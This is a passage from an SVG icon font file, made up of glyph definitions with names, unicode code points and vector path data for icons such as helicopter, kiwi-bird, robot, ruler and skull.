c-10.8701 3.62012 -22.9902 3.57031 -33.1494 -1.72949c-10.29 -5.36035 -17.5908 -14.5605 -20.3809 -25.8105l-38.46 -153.83c22.1904 6.81055 49.79 12.46 81.21 12.46c34.7803 0 73.9902 -7.00977 114.86 -26.75h73.1797
c40.8701 19.7207 80.0801 26.7402 114.851 26.7402c31.4102 0 59.0098 -5.64941 81.2002 -12.46l-38.46 153.82c-2.80078 11.2598 -10.0801 20.4502 -20.3701 25.8193c-10.1602 5.30078 -22.29 5.35059 -33.1602 1.73047l-13.1797 -4.38965
c-8.38086 -2.79004 -17.4404 1.73926 -20.2305 10.1201l-5.05957 15.1797c-2.80078 8.37988 1.72949 17.4502 10.1191 20.2402l15.25 5.08008c23.2207 7.7793 48.75 5.39941 70.1904 -6.33008c21.4102 -11.7607 37.0898 -32.1104 43 -55.8105zM203.38 78.21l3.12988 41.2197
c-22.6699 8.58984 -46.0693 12.9199 -69.9297 12.9199c-29.1602 0 -54.46 -6.42969 -72.5801 -12.9199v-37.54c0 -27.5098 22.9697 -49.8896 51.2002 -49.8896h37.1201c26.6602 0 49.0898 20.2998 51.0596 46.21zM512 81.8799l-0.00976562 37.54
c-18.1201 6.49023 -43.4307 12.9297 -72.5498 12.9297c-23.8701 0 -47.2803 -4.33008 -69.9502 -12.9199l3.12988 -41.2197c1.95996 -25.9102 24.3896 -46.21 51.0596 -46.21h37.1201c28.2305 0 51.2002 22.3701 51.2002 49.8799z" />
    <glyph glyph-name="greater-than" unicode="&#xf531;" horiz-adv-x="384" 
d="M365.52 238.15c11.2803 -5.25 18.4805 -16.5605 18.4902 -29.0107v-34.2295c-0.00195312 -11.2529 -8.28027 -24.2451 -18.4795 -29l-306.471 -142.91c-16.0195 -7.46973 -35.0596 -0.540039 -42.5293 15.4805l-13.5205 29
c-7.46973 16.0195 -0.540039 35.0596 15.4805 42.5293l218.47 101.891l-218.43 101.85c-16.0605 7.49023 -23.0107 26.5801 -15.5205 42.6396l13.5703 29.0801c7.49023 16.0605 26.5801 23.0107 42.6396 15.5205z" />
    <glyph glyph-name="greater-than-equal" unicode="&#xf532;" horiz-adv-x="448" 
d="M55.2197 340.31c-18.29 6 -27.7393 24.2607 -21.0996 40.79l12.0303 29.9199c6.63965 16.5303 26.8594 25.0605 45.1494 19.0605l301.72 -119.98c13.7705 -4.51953 22.9805 -16.6094 22.9805 -30.1699v-15.96c0 -13.5596 -9.20996 -25.6494 -22.9805 -30.1699
l-301.409 -119.859c-18.3906 -6.04004 -38.7002 2.54004 -45.3799 19.1494l-12.0908 30.0801c-6.67969 16.6104 2.81055 34.9697 21.2002 41l175.44 68.0498zM424 48c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-400c-13.25 0 -24 10.75 -24 24v48
c0 13.2598 10.75 24 24 24h400z" />
    <glyph glyph-name="helicopter" unicode="&#xf533;" horiz-adv-x="640" 
d="M304 64c-8.83105 0 -20.3018 5.73438 -25.5996 12.7998l-86.4004 115.2l-160 64l-31.5098 108.12c-2.53027 10.0996 5.10938 19.8799 15.5195 19.8799h39.9902c5.03027 0 9.78027 -2.37012 12.7998 -6.40039l43.2002 -57.5996h208v64h-176c-8.83984 0 -16 7.16016 -16 16
v32c0 8.83984 7.16016 16 16 16h416c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-176v-64c123.71 0 224 -100.29 224 -224c0 -17.6699 -14.3301 -32 -32 -32h-272zM416 252.49v-124.49h124.79c-12.7598 62.5596 -62.2402 111.7 -124.79 124.49z
M635.37 -10.8096c6.58984 -6.61035 6.04004 -17.5205 -0.980469 -23.6602c-33.1494 -29.0498 -53.5693 -29.5205 -68.4492 -29.5205h-325.94c-8.83984 0 -16 7.18066 -16 16.0303v32.0596c0 8.85059 7.16016 16.0303 16 16.0303h325.94
c10.7998 0 17.5498 4.48047 24.6396 11.25c6.40039 6.11035 16.3896 6.27051 22.6396 0.00976562z" />
    <glyph glyph-name="infinity" unicode="&#xf534;" horiz-adv-x="640" 
d="M471.1 352c93.1006 0 168.9 -71.7998 168.9 -160s-75.7998 -160 -168.9 -160c-66.0996 0 -117.8 41.2998 -151.1 78.5996c-33.2998 -37.2998 -85 -78.5996 -151.1 -78.5996c-93.1006 0 -168.9 71.7998 -168.9 160s75.7998 160 168.9 160
c66.0996 0 117.8 -41.2998 151.1 -78.5996c33.2998 37.2998 85 78.5996 151.1 78.5996zM168.9 128c38.0996 0 73.5996 36.4004 94 64c-20.6006 27.9004 -55.8008 64 -94 64c-40.2002 0 -72.9004 -28.7002 -72.9004 -64s32.7002 -64 72.9004 -64zM471.1 128
c40.2002 0 72.9004 28.7002 72.9004 64s-32.7002 64 -72.9004 64c-38.0996 0 -73.5996 -36.4004 -94 -64c20.6006 -27.9004 55.8008 -64 94 -64z" />
    <glyph glyph-name="kiwi-bird" unicode="&#xf535;" horiz-adv-x="576" 
d="M575.81 230.02c0.300781 -5.7793 0.160156 -246.02 0.160156 -246.02c0 -7.30957 -4.95996 -13.7002 -12.0498 -15.5c-1.30957 -0.339844 -2.63965 -0.5 -3.9502 -0.5c-5.75 0 -11.1895 3.11035 -14.0498 8.33984l-74.4102 136.44
c-7.04004 -0.470703 2.43066 -0.780273 -23.0498 -0.780273c-54.5996 0 -106.39 -19.25 -152.13 -49.0596c-12.46 -8.12012 -26.0996 -14.4502 -40.3398 -19.5107v-59.4297c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v49.1797
c-5.32031 -0.449219 -10.5605 -1.17969 -16 -1.17969c-16.6006 0 -32.6406 2.2998 -48 6.25977v-54.2598c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v73.9902c-57.3105 33.21 -95.9502 95.0596 -95.9902 166.01
c-0.0800781 145.76 129.3 182.88 147.31 186.94c57.1709 12.9199 111.221 0.259766 153.21 -28.7002c43.4902 -29.9902 94.9209 -46.2402 147.74 -46.2402h9.37012c60.6504 0 115.01 -45.4102 118.18 -105.98zM463.97 200c13.25 0 24 10.75 24 24
c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM543.97 46.75v99.0596c-11.1299 -11.3799 -24.7393 -20.1494 -39.8594 -25.9795z" />
    <glyph glyph-name="less-than" unicode="&#xf536;" horiz-adv-x="384" 
d="M365.46 90.2598c16.0703 -7.49023 23.0205 -26.5801 15.5303 -42.6396l-13.5605 -29.0801c-7.48926 -16.0596 -26.5801 -23.0098 -42.6396 -15.5205l-306.31 142.83c-11.2705 5.25 -18.4805 16.5605 -18.4805 29v34.2402c0.00488281 11.252 8.2832 24.2432 18.4805 29
l306.46 142.91c16.0195 7.46973 35.0596 0.540039 42.5293 -15.4805l13.5205 -29c7.46973 -16.0195 0.540039 -35.0596 -15.4805 -42.5293l-218.47 -101.88z" />
    <glyph glyph-name="less-than-equal" unicode="&#xf537;" horiz-adv-x="448" 
d="M54.9805 233.8c-13.7705 4.52051 -22.9805 16.6104 -22.9805 30.1699v15.96c0 13.5703 9.20996 25.6602 22.9805 30.1807l301.71 119.96c18.29 6 38.5098 -2.53027 45.1494 -19.0605l12.0303 -29.9199c6.63965 -16.5195 -2.81055 -34.79 -21.1006 -40.79
l-175.56 -68.0898l175.44 -68.0498c18.3896 -6.03027 27.8896 -24.3906 21.21 -41l-12.0908 -30.0801c-6.66992 -16.6104 -26.9893 -25.1797 -45.3799 -19.1504zM424 48c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-400c-13.25 0 -24 10.75 -24 24v48
c0 13.2598 10.75 24 24 24h400z" />
    <glyph glyph-name="memory" unicode="&#xf538;" horiz-adv-x="640" 
d="M640 317.06c-18.5996 -6.60938 -32 -24.1895 -32 -45.0596s13.4004 -38.4502 32 -45.0596v-98.9404h-640v98.9404c18.5996 6.60938 32 24.1895 32 45.0596s-13.4004 38.4502 -32 45.0596v34.9404c0 17.6699 14.3301 32 32 32h576c17.6699 0 32 -14.3301 32 -32v-34.9404z
M224 192v128h-64v-128h64zM352 192v128h-64v-128h64zM480 192v128h-64v-128h64zM0 0v96h640v-96h-64v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699
c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-64z" />
    <glyph glyph-name="microphone-alt-slash" unicode="&#xf539;" horiz-adv-x="640" 
d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705
c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l178.53 -138v45.3604c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301
c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.0596l41.3994 -32h43.6699c0 -10.4502 -2.17969 -20.2705 -5.2793 -29.6699l26.5498 -20.5205c6.75977 15.4004 10.7197 32.2803 10.7197 50.2002v48
c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-48c0 -28.9805 -7.25977 -56.21 -19.7402 -80.3301zM400 -16c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56
v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v6.85059l52.0303 -40.2207c12.4395 -53.2197 55.3301 -96.3994 111.18 -101.85c6.94043 -0.669922 13.6396 -0.200195 20.3496 0.200195l50.4004 -38.96c-10.8604 -3.80078 -22.25 -6.45996 -33.96 -8.08008v-33.7803
h56z" />
    <glyph glyph-name="money-bill-wave" unicode="&#xf53a;" horiz-adv-x="640" 
d="M621.16 393.54c11.6094 -4.87012 18.8398 -16.8301 18.8496 -29.4697v-317.25c0 -18.4902 -15.04 -31.8105 -32.25 -31.8105c-3.39941 0 -6.87988 0.520508 -10.3496 1.62012c-30.8906 9.7998 -61.7598 13.7197 -92.6504 13.7197
c-123.17 0 -246.34 -62.3496 -369.51 -62.3496c-38.7998 0 -77.6201 6.19043 -116.41 22.4697c-11.6094 4.86035 -18.8398 16.8301 -18.8398 29.46v317.261c0 18.4893 15.04 31.8096 32.25 31.8096c3.40039 0 6.87988 -0.519531 10.3496 -1.62012
c30.8906 -9.7998 61.7607 -13.7197 92.6504 -13.7197c123.17 0 246.33 62.3496 369.5 62.3398c38.7998 0 77.6201 -6.19043 116.41 -22.46zM48 315.78v-60.4707c31 0 56.8398 22.1504 62.7197 51.54c-21.5996 1.36035 -42.5996 3.89062 -62.7197 8.93066zM48 30.7803
c20.1201 -7.31055 41.1797 -11.8105 63.71 -13.6201c-1.53027 34.1299 -29.3398 61.3994 -63.71 61.3994v-47.7793zM320 96c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96zM592 68.2197v57.7207
c-26.8203 -3.40039 -48.4502 -23.2002 -54.3203 -49.2803c18.6104 -1.58984 36.8008 -4.0498 54.3203 -8.44043zM592 304.33v48.8896c-17.7197 6.43066 -36.2695 10.4902 -55.8096 12.6602c0.949219 -31.8496 24.9199 -57.6396 55.8096 -61.5498z" />
    <glyph glyph-name="money-bill-wave-alt" unicode="&#xf53b;" horiz-adv-x="640" 
d="M621.16 393.54c11.6094 -4.87012 18.8398 -16.8301 18.8496 -29.4697v-317.25c0 -18.4902 -15.04 -31.8105 -32.25 -31.8105c-3.39941 0 -6.87988 0.520508 -10.3496 1.62012c-30.8906 9.7998 -61.7598 13.7197 -92.6504 13.7197
c-123.17 0 -246.34 -62.3496 -369.51 -62.3496c-38.7998 0 -77.6201 6.19043 -116.41 22.4697c-11.6094 4.86035 -18.8398 16.8301 -18.8398 29.46v317.261c0 18.4893 15.04 31.8096 32.25 31.8096c3.40039 0 6.87988 -0.519531 10.3496 -1.62012
c30.8906 -9.7998 61.7607 -13.7197 92.6504 -13.7197c123.17 0 246.33 62.3496 369.5 62.3398c38.7998 0 77.6201 -6.19043 116.41 -22.46zM320 96c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96z" />
    <glyph glyph-name="money-check" unicode="&#xf53c;" horiz-adv-x="640" 
d="M0 0v320h640v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32zM448 208v-32c0 -8.83984 7.16016 -16 16 -16h96c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-96c-8.83984 0 -16 -7.16016 -16 -16zM448 88v-16
c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8zM64 184v-16c0 -4.41992 3.58008 -8 8 -8h304c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-304c-4.41992 0 -8 -3.58008 -8 -8z
M64 88v-16c0 -4.41992 3.58008 -8 8 -8h176c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-176c-4.41992 0 -8 -3.58008 -8 -8zM624 416c8.83984 0 16 -7.16016 16 -16v-48h-640v48c0 8.83984 7.16016 16 16 16h608z" />
    <glyph glyph-name="money-check-alt" unicode="&#xf53d;" horiz-adv-x="640" 
d="M608 416c17.6699 0 32 -14.3301 32 -32v-384c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v384c0 17.6699 14.3301 32 32 32h576zM176 120.12c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896
l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104c4.55957 0 8.94922 -1.29004 12.8193 -3.71973c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21
c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16.1201c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703
c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973
c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16.1201zM416 136v16
c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8zM576 136v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8z
M576 232v16c0 4.41992 -3.58008 8 -8 8h-272c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h272c4.41992 0 8 3.58008 8 8z" />
    <glyph glyph-name="not-equal" unicode="&#xf53e;" horiz-adv-x="448" 
d="M416 240h-98.4199l-74.5303 -96h172.95c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-247.48l-82.0898 -105.73c-5.37012 -7.00977 -15.4102 -8.34961 -22.4297 -2.96973l-25.4102 19.46c-7.00977 5.37988 -8.33984 15.4199 -2.96973 22.4307
l51.8701 66.8096h-55.4902c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h130.03l74.5293 96h-204.56c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h279.09l82.0801 105.73c5.37988 7.00977 15.4199 8.34961 22.4404 2.96973
l25.4092 -19.46c7.01074 -5.37012 8.34082 -15.4102 2.9707 -22.4307l-51.8701 -66.8096h23.8799c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32z" />
    <glyph glyph-name="palette" unicode="&#xf53f;" 
d="M204.3 443c163.8 31.9004 307.2 -92.0996 307.7 -249.7c-0.0996094 -35.7002 -29.0996 -65.2998 -64.9004 -65.2998h-79.6992c-51 0 -84 -53 -60.9004 -98.4004c18.9004 -37.0996 -1.2998 -85.2998 -42.5 -91.6992c-127.1 -19.7002 -295.8 119.699 -258.8 306.699
c19.5996 99.1006 99.7002 179 199.1 198.4zM96 128c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM128 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 320
c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM384 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="parking" unicode="&#xf540;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM240 128c52.9004 0 96 43.0996 96 96s-43.0996 96 -96 96h-96c-8.7998 0 -16 -7.2002 -16 -16v-224c0 -8.7998 7.2002 -16 16 -16h32
c8.7998 0 16 7.2002 16 16v48h48zM240 256c17.5996 0 32 -14.4004 32 -32s-14.4004 -32 -32 -32h-48v64h48z" />
    <glyph glyph-name="percentage" unicode="&#xf541;" horiz-adv-x="384" 
d="M109.25 274.75c-24.9902 -25 -65.5098 -25 -90.5098 0c-24.9902 24.9902 -24.9902 65.5195 0 90.5098s65.5195 24.9902 90.5098 0s24.9902 -65.5195 0 -90.5098zM365.25 109.26c25 -25 25 -65.5195 0 -90.5098c-24.9902 -24.9902 -65.5195 -24.9902 -90.5098 0
s-24.9902 65.5195 0 90.5098s65.5195 24.9902 90.5098 0zM363.31 340.69c12.5 -12.5 12.5 -32.7607 0 -45.25l-274.75 -274.75c-12.4893 -12.5 -32.75 -12.5 -45.25 0l-22.6191 22.6191c-12.5 12.4902 -12.5 32.75 0 45.25l274.75 274.75c12.4893 12.5 32.75 12.5 45.25 0z
" />
    <glyph glyph-name="project-diagram" unicode="&#xf542;" horiz-adv-x="640" 
d="M384 128c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-128c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h128zM192 416v-32h224v-64h-224v-47.5098l64.2803 -112.49h-0.280273c-23.5996 0 -44.0195 -12.9805 -55.1201 -32.04
l-73.1602 128.04h-95.7197c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32zM608 448c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-128c-17.6699 0 -32 14.3301 -32 32v128
c0 17.6699 14.3301 32 32 32h128z" />
    <glyph glyph-name="receipt" unicode="&#xf543;" horiz-adv-x="384" 
d="M358.4 444.8c10.5996 7.90039 25.5996 0.400391 25.5996 -12.7998v-480c0 -13.2002 -15.0996 -20.7002 -25.5996 -12.7998l-38.4004 44.7998l-54.4004 -44.7998c-2.35059 -1.78027 -6.65137 -3.22559 -9.59961 -3.22559s-7.24902 1.44531 -9.59961 3.22559
l-54.4004 44.7998l-54.4004 -44.7998c-2.35059 -1.78027 -6.65137 -3.22559 -9.59961 -3.22559s-7.24902 1.44531 -9.59961 3.22559l-54.4004 44.7998l-38.4004 -44.7998c-10.5996 -7.90039 -25.5996 -0.400391 -25.5996 12.7998v480c0 13.2002 15 20.7002 25.5996 12.7998
l38.4004 -44.7998l54.4004 44.7998c2.35059 1.78027 6.65137 3.22559 9.59961 3.22559s7.24902 -1.44531 9.59961 -3.22559l54.4004 -44.7998l54.4004 44.7998c2.35059 1.78027 6.65137 3.22559 9.59961 3.22559s7.24902 -1.44531 9.59961 -3.22559l54.4004 -44.7998z
M320 88v16c0 4.40039 -3.59961 8 -8 8h-240c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240c4.40039 0 8 3.59961 8 8zM320 184v16c0 4.40039 -3.59961 8 -8 8h-240c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240
c4.40039 0 8 3.59961 8 8zM320 280v16c0 4.40039 -3.59961 8 -8 8h-240c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="robot" unicode="&#xf544;" horiz-adv-x="640" 
d="M0 192c0 17.7002 14.2998 32 32 32h32v-192h-32c-17.7002 0 -32 14.2998 -32 32v128zM464 352c44.2002 0 80 -35.7998 80 -80v-272c0 -35.2998 -28.7002 -64 -64 -64h-320c-35.2998 0 -64 28.7002 -64 64v272c0 44.2002 35.7998 80 80 80h112v64
c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32v-64h112zM256 32v32h-64v-32h64zM224 152c22.0996 0 40 17.9004 40 40s-17.9004 40 -40 40s-40 -17.9004 -40 -40s17.9004 -40 40 -40zM352 32v32h-64v-32h64zM448 32v32h-64v-32h64zM416 152c22.0996 0 40 17.9004 40 40
s-17.9004 40 -40 40s-40 -17.9004 -40 -40s17.9004 -40 40 -40zM608 224c17.7002 0 32 -14.2998 32 -32v-128c0 -17.7002 -14.2998 -32 -32 -32h-32v192h32z" />
    <glyph glyph-name="ruler" unicode="&#xf545;" horiz-adv-x="640" 
d="M635.7 280.8c8.7998 -15 3.59961 -34.2002 -11.6006 -42.7998l-496.8 -281.9c-15.2002 -8.59961 -34.7002 -3.5 -43.5 11.5l-79.5996 135.601c-8.7998 15 -3.5 34.0996 11.7002 42.7998l69 39.0996l59.6992 -101.399c2.2002 -3.7998 7.10059 -5.10059 10.9004 -2.90039
l13.7998 7.7998c3.7998 2.2002 5.10059 7 2.90039 10.7002l-59.7002 101.7l55.2002 31.2998l27.8994 -47.5c2.2002 -3.7998 7.10059 -5.09961 10.9004 -2.89941l13.7998 7.7998c3.7998 2.2002 5.10059 6.89941 2.90039 10.7002l-27.9004 47.3994l55.2002 31.2998
l59.7002 -101.699c2.2002 -3.80078 7.09961 -5.10059 10.8994 -2.90039l13.8008 7.7998c3.7998 2.2002 5.09961 7 2.89941 10.7002l-59.7998 101.7l55.2002 31.2998l27.8994 -47.2998c2.2002 -3.7998 7.10059 -5.10059 10.9004 -2.90039l13.7998 7.7998
c3.7998 2.2002 5.10059 6.90039 2.90039 10.7002l-27.9004 47.4004l55.2002 31.2998l59.7002 -101.6c2.2002 -3.80078 7.09961 -5.10059 10.8994 -2.90039l13.8008 7.7998c3.7998 2.2002 5.09961 6.90039 2.89941 10.7002l-59.7002 101.7l69 39.0996
c15.2002 8.60059 34.7002 3.5 43.5 -11.5z" />
    <glyph glyph-name="ruler-combined" unicode="&#xf546;" 
d="M160 160v-41.3799l-158.43 -158.42c-0.660156 2.55957 -1.57031 5.03027 -1.57031 7.7998v448c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32v-32h-56c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56v-64h-56
c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56v-64h-56c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56zM480 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-448
c-2.75977 0 -5.24023 0.910156 -7.7998 1.57031l158.43 158.43h41.3701v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v56h64v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v56h64v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8
v56h32z" />
    <glyph glyph-name="ruler-horizontal" unicode="&#xf547;" horiz-adv-x="576" 
d="M544 320c17.6699 0 32 -14.3301 32 -32v-192c0 -17.6699 -14.3301 -32 -32 -32h-512c-17.6699 0 -32 14.3301 -32 32v192c0 17.6699 14.3301 32 32 32h48v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16
c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h48z" />
    <glyph glyph-name="ruler-vertical" unicode="&#xf548;" horiz-adv-x="256" 
d="M168 32h88v-64c0 -17.6699 -14.3301 -32 -32 -32h-192c-17.6699 0 -32 14.3301 -32 32v448c0 17.6699 14.3301 32 32 32h192c17.6699 0 32 -14.3301 32 -32v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88
c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8z" />
    <glyph glyph-name="school" unicode="&#xf549;" horiz-adv-x="640" 
d="M0 224c0 17.6699 14.3301 32 32 32h64v-320h-80c-8.83984 0 -16 7.16016 -16 16v272zM360 272c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v64c0 4.41992 3.58008 8 8 8h16c4.41992 0 8 -3.58008 8 -8v-40h24z
M497.75 335.96c8.90039 -5.92969 14.25 -15.9297 14.25 -26.6299v-373.33h-128v144c0 8.83984 -7.16016 16 -16 16h-96c-8.83984 0 -16 -7.16016 -16 -16v-144h-128v373.34c0.00195312 9.45117 6.38574 21.377 14.25 26.6201l160 106.67
c4.4502 2.96484 12.4023 5.37012 17.75 5.37012s13.2998 -2.40527 17.75 -5.37012zM320 192c44.1797 0 80 35.8203 80 80s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM608 256c17.6699 0 32 -14.3301 32 -32v-272c0 -8.83984 -7.16016 -16 -16 -16h-80
v320h64z" />
    <glyph glyph-name="screwdriver" unicode="&#xf54a;" 
d="M448 448l64 -64l-96 -128h-62.0596l-83.0303 -83.0303c-4.25 6.79004 -9.07031 13.2705 -14.8701 19.0703c-5.7998 5.80957 -12.2803 10.6201 -19.0703 14.8701l83.0303 83.0303v62.0596zM128 169.41c29.1104 29.1094 76.2998 29.1094 105.41 0
c29.1094 -29.1104 29.1094 -76.2998 0 -105.41l-117.08 -117.08c-14.5605 -14.5596 -38.1504 -14.5596 -52.71 0l-52.7002 52.7002c-14.5498 14.5596 -14.5498 38.1602 0 52.71z" />
    <glyph glyph-name="shoe-prints" unicode="&#xf54b;" horiz-adv-x="640" 
d="M192 288c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64h32v-128h-32zM0 32c0 35.3496 28.6504 64 64 64h32v-128h-32c-35.3496 0 -64 28.6504 -64 64zM337.46 160c90.3604 0 174.54 -32 174.54 -96c0 -45.2197 -39.0996 -97.2998 -148.58 -120.82
c-31.9795 -6.87012 -64.8896 -8.50977 -97.5801 -6.19922c-27.2998 1.92969 -54.0996 7.76953 -80.3096 15.0498l-57.5303 15.9697v128c60.21 0 79.9404 15.6201 104.73 32c28.5693 18.8799 69.8193 32 104.729 32zM491.42 440.81
c109.48 -23.5098 148.58 -75.5898 148.58 -120.81c0 -64 -84.1797 -96 -174.54 -96c-34.9102 0 -76.1602 13.1201 -104.729 32c-24.79 16.3799 -44.5303 32 -104.73 32v128l57.5303 15.9697c26.21 7.27051 53.0098 13.1104 80.3096 15.04
c32.6904 2.32031 65.6006 0.669922 97.5801 -6.2002z" />
    <glyph glyph-name="skull" unicode="&#xf54c;" 
d="M256 448c141.4 0 256 -100.3 256 -224c0 -70.0996 -36.9004 -132.6 -94.5 -173.7c-9.7002 -6.89941 -15.2002 -18.2002 -13.5 -29.8994l9.40039 -66.2002c1.39941 -9.60059 -6 -18.2002 -15.7002 -18.2002h-77.7002v56c0 4.40039 -3.59961 8 -8 8h-16
